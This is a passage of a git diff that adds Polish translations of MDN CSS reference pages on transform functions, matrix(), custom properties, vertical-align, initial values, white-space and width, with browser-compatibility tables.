+ <dt>{{cssxref("transform-function/scaleZ","scaleZ()")}}</dt>
+ <dd>The <code>scaleZ()</code> CSS function modifies the z-coordinate of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved. <code>scaleZ(-1)</code> defines an <a class="external" href="https://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> along the z-axis passing by the origin (as specified by the {{cssxref("transform-origin")}} property).</dd>
+ <dd><code>scaleZ(sz)</code> is a shorthand for <code>scale3d(1, 1, sz)</code>.</dd>
+ <dt>{{cssxref("transform-function/skew","skew()")}}</dt>
+ <dd>The <code>skew()</code> CSS function is a shear mapping, or transvection, distorting each point of an element by a certain angle in each direction. It is done by increasing each coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd>
+ <dt>{{cssxref("transform-function/skewX","skewX()")}}</dt>
+ <dd>The <code>skewX()</code> CSS function is a horizontal shear mapping distorting each point of an element by a certain angle in the horizontal direction. It is done by increasing the abscissa coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd>
+ <dt>{{cssxref("transform-function/skewY","skewY()")}}</dt>
+ <dd>The <code>skewY()</code> CSS function is a vertical shear mapping distorting each point of an element by a certain angle in the vertical direction. It is done by increasing the ordinate coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</dd>
+ <dt>{{cssxref("transform-function/translate","translate()")}}</dt>
+ <dd>The <code>translate()</code> CSS function moves the position of the element on the plane. This transformation is characterized by a vector whose coordinates define how much it moves in each direction.</dd>
+ <dt>{{cssxref("transform-function/translate3d","translate3d()")}}</dt>
+ <dd>The <code>translate3d()</code> CSS function moves the position of the element in the 3D space. This transformation is characterized by a 3-dimension vector whose coordinates define how much it moves in each direction.</dd>
+ <dt>{{cssxref("transform-function/translateX","translateX()")}}</dt>
+ <dd>The <code>translateX()</code> CSS function moves the element horizontally on the plane. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves horizontally.</dd>
+ <dd><code>translateX(tx)</code> is a shortcut for <code>translate(tx, 0)</code>.</dd>
+ <dt>{{cssxref("transform-function/translateY","translateY()")}}</dt>
+ <dd>The <code>translateY()</code> CSS function moves the element vertically on the plane. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves vertically.</dd>
+ <dd><code>translateY(ty)</code> is a shortcut for <code>translate(0, ty)</code>.</dd>
+ <dt>{{cssxref("transform-function/translateZ","translateZ()")}}</dt>
+ <dd>The <code>translateZ()</code> CSS function moves the element along the z-axis of the 3D space. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves.</dd>
+ <dd><code>translateZ(tz)</code> is a shorthand for <code>translate3d(0, 0, tz)</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+ <td>{{Spec2('CSS3 Transforms')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+ <td>9.0<sup>[2]</sup></td>
+ <td>10.5</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>3D Support</td>
+ <td>12.0</td>
+ <td>{{CompatGeckoDesktop("10.0")}}</td>
+ <td>10.0</td>
+ <td>15.0</td>
+ <td>4.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatAndroid(2.1)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>11.5</td>
+ <td>3.2</td>
+ </tr>
+ <tr>
+ <td>3D Support</td>
+ <td>{{CompatAndroid(3.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>22</td>
+ <td>3.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 14.0 removed the experimental support for <code>skew()</code>, but it was reintroduced in Gecko 15.0 for compatibility reasons. As it is non-standard and will likely be removed in the future, do not use it.</p>
+
+<p>Before Firefox 16, the translation values of <code>matrix()</code> and <code>matrix3d()</code> could be {{cssxref("length")}} in addition to the standard {{cssxref("number")}}.</p>
+
+<p>[2] Internet Explorer 5.5 or later supports a proprietary <a href="http://msdn.microsoft.com/en-us/library/ms533014%28VS.85,loband%29.aspx">Matrix Filter</a> which can be used to achieve a similar effect.</p>
+
+<p>Internet Explorer 9.0 or earlier has no support for 3D transforms. Mixing 3D and 2D transform functions, such as <code>-ms-transform: rotate(10deg) translateZ(0);</code>, will prevent the entire property from being applied.</p>
diff --git a/files/pl/web/css/transform-function/matrix()/index.html b/files/pl/web/css/transform-function/matrix()/index.html
new file mode 100644
index 0000000000..85a951052a
--- /dev/null
+++ b/files/pl/web/css/transform-function/matrix()/index.html
@@ -0,0 +1,58 @@
+---
+title: matrix()
+slug: Web/CSS/transform-function/matrix()
+tags:
+ - CSS
+ - Funkcje CSS
+ - Referencje
+ - Transformacje CSS
+ - wymagaPrzykładu
+translation_of: Web/CSS/transform-function/matrix()
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS-owa funkcja <code>matrix() </code>określa jednolitą macierz (matrix) transformacji 2D i składa się z sześciu określonych wartości. Wartości stałe tych macierzy są implementowane oraz nie działają jak parametry; pozostałe parametry są opisywane w porządku głównej kolumny.</p>
+
+<p><code>matrix(a, b, c, d, tx, ty)</code> to shorthand dla <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</p>
+
+<div class="note"><strong>Adnotacja</strong>: Od Firefoxa 16, Gecko akceptuje wartośc {{cssxref("&lt;length&gt;")}} dla <strong>tx </strong>oraz <strong>ty</strong>.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">matrix(<em>a</em>, <em>b</em>, <em>c</em>, <em>d</em>, <em>tx</em>, <em>ty</em>)
+</pre>
+
+<h2 id="Wartości">Wartości</h2>
+
+<dl>
+ <dt><em>a</em> <em>b</em> <em>c</em> <em>d</em></dt>
+ <dd>{{cssxref("&lt;number&gt;")}} opisują transformacje linearne.</dd>
+ <dt><em>tx</em> <em>ty</em></dt>
+ <dd>{{cssxref("&lt;number&gt;")}} opisują transformacje do zastosowania.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Współrzędne kartezjańskie na ℝ<sup>2</sup></th>
+ <th scope="col">Współrzędne jednorodne na ℝℙ<sup>2</sup></th>
+ <th scope="col">Współrzędne kartezjańskie na ℝ<sup>3</sup></th>
+ <th scope="col">Współrzędne jednorodne na ℝℙ<sup>3</sup></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></td>
+ <td><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ </tr>
+ <tr>
+ <td><code>[a b c d tx ty]</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>TBD</p>
diff --git a/files/pl/web/css/using_css_custom_properties/index.html b/files/pl/web/css/using_css_custom_properties/index.html
new file mode 100644
index 0000000000..c9b7089b07
--- /dev/null
+++ b/files/pl/web/css/using_css_custom_properties/index.html
@@ -0,0 +1,244 @@
+---
+title: Użycie zmiennych CSS
+slug: Web/CSS/Using_CSS_custom_properties
+translation_of: Web/CSS/Using_CSS_custom_properties
+---
+<div>{{SeeCompatTable}}</div>
+
+<div></div>
+
+<p><strong>Zmienne CSS </strong>to zdefiniowane jednostki zawierające specyficzne wartości, reużywalne w całym dokumencie. Zmienne są ustawiane przy użyciu notacji właściwości niestandardowych (np. <strong><code>--kolor-glowny: black;</code></strong>) i mają dostęp do funkcji <code>var() (np. kolor: <strong>var(--kolor-glowny)</strong>;</code>) .</p>
+
+<p>Skomplikowane strony internetowe mają bardzo dużo powtarzającego się kodu CSS. Dla przykładu, taki sam kolor może być użyty setki razy w różnych miejscach, co w przypadku zmiany wymana globalnego wyszukiwania i zmian w wielu miejsach. Zmienne CSS pozwalają na przechowywanie wartości w jednym miejscu, zmiast wielu. Używają one również semantycznych identyfikatorów. Na przykład <code>--glowny-kolor-tekstu</code> jest łatwiejszy do zrozumienia niż <code>#00ff00</code> szczególnie gdy taki sam kolor jest użyty w różnych kontekstach.</p>
+
+<p>Zmienne CSS podlegają kaskadowości i dziedziczą wartości po rodzicach.</p>
+
+<h2 id="Podstawowe_użycie">Podstawowe użycie</h2>
+
+<p>Deklarowanie zmiennych:</p>
+
+<pre class="brush:css; highlight:[2] language-css">element {
+ --glowny-kolor-tla: brown;
+}
+</pre>
+
+<p>Użycie zmiennych:</p>
+
+<pre class="brush:css; highlight:[2] language-css">element {
+ background-color: var(--glowny-kolor-tla);
+}
+</pre>
+
+<div class="note">
+<p><strong>Notatka:</strong> Niestandardowy prefix <code>var-</code> istniał we wcześniejszych wersjach, jednak później został zmieniony na <code>--</code>. Firefox 31 i wyższy posiada nową specyfikację. ({{bug(985838)}})</p>
+</div>
+
+<h2 id="Zmienne_CSS_-_pierwsze_kroki">Zmienne CSS - pierwsze kroki</h2>
+
+<p>Zacznijmy od prostego kodu CSS z różnymi klasami, których elementy posiadają różne kolory:</p>
+
+<div id="sample1">
+<pre class="brush:css; highlight:[3,20,26,32]">.jeden {
+ color: white;
+ background-color: brown;
+ margin: 10px;
+ width: 50px;
+ height: 50px;
+ display: inline-block;
+}
+
+.dwa {
+ color: white;
+ background-color: black;
+ margin: 10px;
+ width: 150px;
+ height: 70px;
+ display: inline-block;
+}
+.trzy {
+ color: white;
+ background-color: brown;
+ margin: 10px;
+ width: 75px;
+}
+.cztery {
+ color: white;
+ background-color: brown;
+ margin: 10px;
+ width: 100px;
+}
+
+.piec {
+ background-color: brown;
+}
+
+</pre>
+
+<p>Implementujemy to w HTML'u:</p>
+
+<pre class="brush:html">&lt;div&gt;
+ &lt;div class="jeden"&gt;&lt;/div&gt;
+ &lt;div class="dwa"&gt;Tekst &lt;span class="cztery"&gt;- wiecej tekstu&lt;/span&gt;&lt;/div&gt;
+ &lt;input class="trzy"&gt;
+ &lt;textarea class="piec"&gt;Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>co w efekcie daje nam:</p>
+
+<p>{{EmbedLiveSample("sample1",600,180)}}</p>
+
+<p><br>
+ Zauważ powtarzalność kodu CSS. Kolor tła jest ustawiony na brązowy w kilku miejscach.W niektórych przypadkach możemy zadeklarować kolor do wszystkich elementów, co rozwiązuje problem. Jednak w przypadku złożonych projektów, nie zawsze jest to możliwe. Deklarując zmienną przy pomocy pseudo-klasy :root, możemy przechowywać zmienną i używać jej według potrzeb.</p>
+</div>
+
+<div id="sample2">
+<pre class="brush:css; highlight:[2, 7, 24,30,36]">:root {
+ --glowny-kolor-tla: brown;
+}
+
+.jeden {
+ color: white;
+ background-color: var(--glowny-kolor-tla);
+ margin: 10px;
+ width: 50px;
+ height: 50px;
+ display: inline-block;
+}
+
+.dwa {
+ color: white;
+ background-color: black;
+ margin: 10px;
+ width: 150px;
+ height: 70px;
+ display: inline-block;
+}
+.trzy {
+ color: white;
+ background-color: var(--glowny-kolor-tla);
+ margin: 10px;
+ width: 75px;
+}
+.cztery {
+ color: white;
+ background-color: var(--glowny-kolor-tla);
+ margin: 10px;
+ width: 100px;
+}
+
+.piec {
+ background-color: var(--glowny-kolor-tla);
+}
+
+</pre>
+
+<div style="display: none;">
+<pre class="brush:html">&lt;div&gt;
+ &lt;div class="one"&gt;&lt;/div&gt;
+ &lt;div class="two"&gt;Text &lt;span class="five"&gt;- more text&lt;/span&gt;&lt;/div&gt;
+ &lt;input class="three"&gt;
+ &lt;textarea class="four"&gt;Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>Powyższy kod daje taki sam rezultat jak we wcześniejszym przykładzie. </p>
+
+<h2 id="Dziedziczenie_zmiennych_CSS">Dziedziczenie zmiennych CSS</h2>
+
+<p>Niestandardowe właściwości mogą być dziedziczone. Oznacza to, że jeśli dany element nie ma wartości, może użyć tej odziedziczonej od rodzica:</p>
+
+<pre class="brush: html">&lt;div class="jeden"&gt;
+ &lt;div class="dwa"&gt;
+ &lt;div class="trzy"&gt;
+ &lt;/div&gt;
+ &lt;div class="cztery"&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>z następującym kodem CSS:</p>
+
+<pre class="brush: css">.dwa {
+ --test: 10px;
+}
+
+.trzy {
+ --test: 2em;
+}
+</pre>
+
+<p>W tym przykładzie wynikiem dla <code>var(--test)</code> jest:</p>
+
+<ul>
+ <li><code>class="dwa"</code> element: <code>10px</code></li>
+ <li><code>class="trzy"</code> element: <code>2em</code></li>
+ <li><code>class="cztery"</code> element: <code>10px</code> (odziedziczone od rodzica)</li>
+ <li><code>class="jeden"</code> element: <em>nieprawidłowa wartość</em>, która jest wartością domyślą każdej właściwości.</li>
+</ul>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ 33.0<br>
+ {{CompatNo}} 34.0<sup>[2]</sup><br>
+ {{CompatChrome(49.0)}}</td>
+ <td>{{CompatGeckoDesktop("29")}}<sup>[3]</sup><br>
+ {{CompatGeckoDesktop("31")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(36.0)}}</td>
+ <td>9.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{CompatGeckoDesktop("29")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>9.1</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Przeglądarka Chrome początkowo zaimplementowała zmienne CSS ze zmienioną składną, która wymagała niestandardowego prefixu przed nazwą zmiennej <code>-webkit-var-</code>. Można jej było następnie użyć przy pomocy funkcji <code>-webkit-var()</code>. Dodatkowo implementacja została ukryta pod flagą <em>Eksperymentalne funkcje platformy internetowej  </em>pod <code>chrome://flags.</code></p>
+
+<p>[2] Chrome 34.0 usunął zmienne CSS ze względu na problemy z wydajnością.</p>
+
+<p>[3] Zmienne CSS są zaimplementowane w preferencjach <code>layout.css.variables.enabled</code>, standardowo ustawione na <code>false</code> i używające stare składnia <code>var-<var>variablename</var></code> w Gecko 29. Rozpoczynając od Gecko 31 implementacja jest włączona i używa nowej składni <code>--<var>variablename</var></code>.</p>
diff --git a/files/pl/web/css/vertical-align/index.html b/files/pl/web/css/vertical-align/index.html
new file mode 100644
index 0000000000..8e34977446
--- /dev/null
+++ b/files/pl/web/css/vertical-align/index.html
@@ -0,0 +1,66 @@
+---
+title: vertical-align
+slug: Web/CSS/vertical-align
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/vertical-align
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Własność <code>vertical-align</code> określa wyrównanie pionowe elementów <i>inline</i> lub komórek tabeli.
+</p>
+<ul><li> {{ Xref_cssinitial() }}: {{ Cssxref("baseline") }}
+</li><li> Stosowana do: elementy <i>inline</i> i komórki tabeli
+</li><li> {{ Xref_cssinherited() }}: nie
+</li><li> Media: {{ Xref_cssvisual() }}
+</li><li> {{ Xref_csscomputed() }}:
+</li></ul>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>vertical-align:</code> <code>baseline</code> | <code>sub</code> | <code>super</code> | <code>text-top</code> | <code>text-bottom</code> | <code>middle</code> | <code>top</code> | <code>bottom</code> | &lt;percentage&gt; | <a href="pl/CSS/length">&lt;length&gt;</a> | {{ Cssxref("inherit") }}
+</p>
+<h3 id="Warto.C5.9Bci_.28dla_element.C3.B3w_inline.29" name="Warto.C5.9Bci_.28dla_element.C3.B3w_inline.29"> Wartości (dla elementów inline) </h3>
+<p>Większość wartości wyrównuje element w pionie w stosunku do jego rodzica:
+</p>
+<dl><dt>baseline </dt><dd>Wyrównuje linię bazową elementu z linią bazową jego rodzica.
+</dd><dt>sub </dt><dd>Wyrównuje linię bazową elementu z linią bazową indeksu dolnego jego rodzica.
+</dd><dt>super </dt><dd>Wyrównuje linię bazową elementu z linią bazową indeksu górnego jego rodzica.
+</dd><dt>text-top </dt><dd>Wyrównuje górę elementu z górą czcionki elementu rodzica.
+</dd><dt>text-bottom </dt><dd>Wyrównuje dół elementu z dołem czcionki elementu rodzica.
+</dd><dt>middle </dt><dd>Wyrównuje środek elementu ze środkiem małych liter rodzica.
+</dd><dt><a href="pl/CSS/length">&lt;length&gt;</a> </dt><dd>Ustawia linię bazową elementu o daną wartość powyżej linii bazowej jego rodzica.
+</dd><dt>&lt;percentage&gt; </dt><dd>podobnie jak wartość &lt;length&gt; z procentami będącymi procentem własności {{ Cssxref("line-height") }}
+</dd></dl>
+<p>Dla elementów, które nie mają linii bazowej, używana jest w zamian dolna krawędź marginesu.
+</p><p>Natomiast dwie wartości wyrównują element w pionie raczej względem całkowitej linii niż względem jego rodzica:
+</p>
+<dl><dt>top </dt><dd>Wyrównuje górę elementu i jego potomków z górą całkowitej linii.
+</dd><dt>bottom </dt><dd>Wyrównuje dół elementu i jego potomków z dołem całkowitej linii.
+</dd></dl>
+<p>Wartości ujemne są dozwolone.
+</p>
+<h3 id="Warto.C5.9Bci_.28dla_kom.C3.B3rek_tabeli.29" name="Warto.C5.9Bci_.28dla_kom.C3.B3rek_tabeli.29"> Wartości (dla komórek tabeli) </h3>
+<dl><dt>baseline (oraz sub, super, text-top, text-bottom, &lt;length&gt;, i &lt;percentage&gt;) </dt><dd> Wyrównuje linię bazową komórki z linią bazową wszystkich innych komórek w wierszu, które są wyrównane względem linii bazowej.
+</dd><dt>top</dt><dd> Wyrównuje górną krawędź dopełnienia komórki z górą wiersza.
+</dd><dt>middle</dt><dd> Centruje obszar dopełnienia komórki względem wiersza.
+</dd><dt>bottom</dt><dd> Wyrównuje dolną krawędź dopełnienia komórki z dołem wiersza.
+</dd></dl>
+<p>Wartości ujemne są dozwolone.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>img {
+ vertical-align: bottom;
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#vertical-align">CSS 1</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#propdef-vertical-align">CSS 2.1</a>
+</li></ul>
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85"> Zgodność z przeglądarką </h3>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p>{{ Cssxref("line-height") }}, {{ Cssxref("text-align") }}, {{ Cssxref("margin") }} (<code>auto</code>)
+</p>{{ languages( { "en": "en/CSS/vertical-align", "fr": "fr/CSS/vertical-align" } ) }}
diff --git a/files/pl/web/css/wartość_początkowa/index.html b/files/pl/web/css/wartość_początkowa/index.html
new file mode 100644
index 0000000000..8144cb37ba
--- /dev/null
+++ b/files/pl/web/css/wartość_początkowa/index.html
@@ -0,0 +1,25 @@
+---
+title: Wartość początkowa
+slug: Web/CSS/Wartość_początkowa
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/initial_value
+---
+<p>{{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Wartość początkowa</b> podana w podsumowaniu <a href="pl/Dokumentacja_CSS">każdej własności CSS</a> ma odmienne znaczenie <a href="pl/CSS/Dziedziczenie">własności dziedziczonych i własności niedziedziczonych</a>.
+</p><p>Dla <a href="pl/CSS/Dziedziczenie#W.C5.82asno.C5.9Bci_dziedziczone">własności dziedziczonych</a> wartość początkowa używana jest <b>tylko</b> dla elementu źródłowego, gdy nie określono wartości elementu.
+</p><p>Dla <a href="pl/CSS/Dziedziczenie#W.C5.82asno.C5.9Bci_niedziedziczone">własności niedziedziczonych</a> wartość początkowa używana jest dla <b>każdego</b> elementu, gdy nie określono wartości elementu.
+</p><p>W CSS3 dodano wartość <code><a href="pl/CSS/initial">initial</a></code>, by pozwolić autorom na wyraźne określenie wartości początkowej.
+</p>
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC"> Zobacz również </h3>
+<p><a href="pl/CSS/Dziedziczenie">Własności dziedziczone i niedziedziczone</a>, <code><a href="pl/CSS/initial">initial</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/initial_value", "es": "es/CSS/Valor_inicial", "fr": "fr/CSS/Valeur_initiale", "ja": "ja/CSS/initial_value", "ko": "ko/CSS/initial_value" } ) }}
diff --git a/files/pl/web/css/white-space/index.html b/files/pl/web/css/white-space/index.html
new file mode 100644
index 0000000000..fc891b4ce1
--- /dev/null
+++ b/files/pl/web/css/white-space/index.html
@@ -0,0 +1,93 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/white-space
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność CSS <code>white-space</code> jest używana do opisu sposobu, w jaki białe znaki są traktowane wewnątrz elementu.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">white-space: normal | pre | nowrap | pre-wrap | -moz-pre-wrap | pre-line | inherit ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>{{ Cssxref("normal") }}</dt>
+ <dd>wszystkie sekwencje białych znaków i zakończenia linii będą skracane. Zakończenia linii nie likwidują zawijania zawartości.</dd>
+ <dt>{{ Cssxref("pre") }}</dt>
+ <dd>wszystkie białe znaki w źródle będą zachowane, linie są przełamane tylko na znakach nowej linii w źródle.</dd>
+ <dt>{{ Cssxref("nowrap") }}</dt>
+ <dd>wszystkie sekwencje białych znaków i zakończenia linii będą skracane, również przełamania linii (zawijanie tekstu) są zlikwidowane wewnątrz zawartości.</dd>
+ <dt>{{ Cssxref("pre-wrap") }} {{ Fx_minversion_inline(3) }}</dt>
+ <dd>wszystkie białe znaki w źródle będą zachowane, linie są przełamane na znakach nowej linii i w razie konieczności zawijają zawartość.</dd>
+ <dt>{{ Cssxref("-moz-pre-wrap") }} {{ Deprecated_inline() }}</dt>
+ <dd>identyczne jak <code>pre-wrap</code>, jest to rozszerzenie Mozilli, które stało się własnością CSS 2.1 <code>pre-wrap</code>, która powinna być używana zamiast niego.</dd>
+ <dt>{{ Cssxref("pre-line") }}</dt>
+ <dd>wszystkie sekwencje białych znaków będą skrócone, linie są przełamane na znakach nowej linii i również w razie potrzeby zawartość jest zawijana.</dd>
+ <dt>{{ Cssxref("inherit") }}</dt>
+ <dd>dziedziczy po rodzicu.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="eval">code {
+ white-space: pre;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p><code>pre-line</code> nie jest jeszcze zaimplementowane w Mozilli.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#white-space-prop">CSS 2.1 text</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#white-space">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-text/#white-space-summary">CSS 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<p>(Próbna tabela zgodności)</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/width/index.html b/files/pl/web/css/width/index.html
new file mode 100644
index 0000000000..0e5abadd9f
--- /dev/null
+++ b/files/pl/web/css/width/index.html
@@ -0,0 +1,207 @@
+---
+title: width
+slug: Web/CSS/width
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<p>Właściwość <strong><code>width</code></strong>CSS ustawia szerokość elementu. Domyślnie ustawia szerokość <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">obszaru zawartości</a> , ale jeśli {{cssxref ("box-sizing")}} jest ustawione na <code>border-box</code>, ustawia szerokość <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#border-area">obszaru border</a> .</p>
+
+<div>{{EmbedInteractiveExample("pages/css/width.html")}}</div>
+
+<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do interaktywnego projektu przykładów, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam żądanie ściągnięcia.</p>
+
+<p>Właściwości {{cssxref ("min-width")}} i {{cssxref ("max-width")}} przesłaniają {{cssxref ("width")}}.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush:css no-line-numbers">/ * &lt;length&gt; wartości * /
+szerokość: 300px;
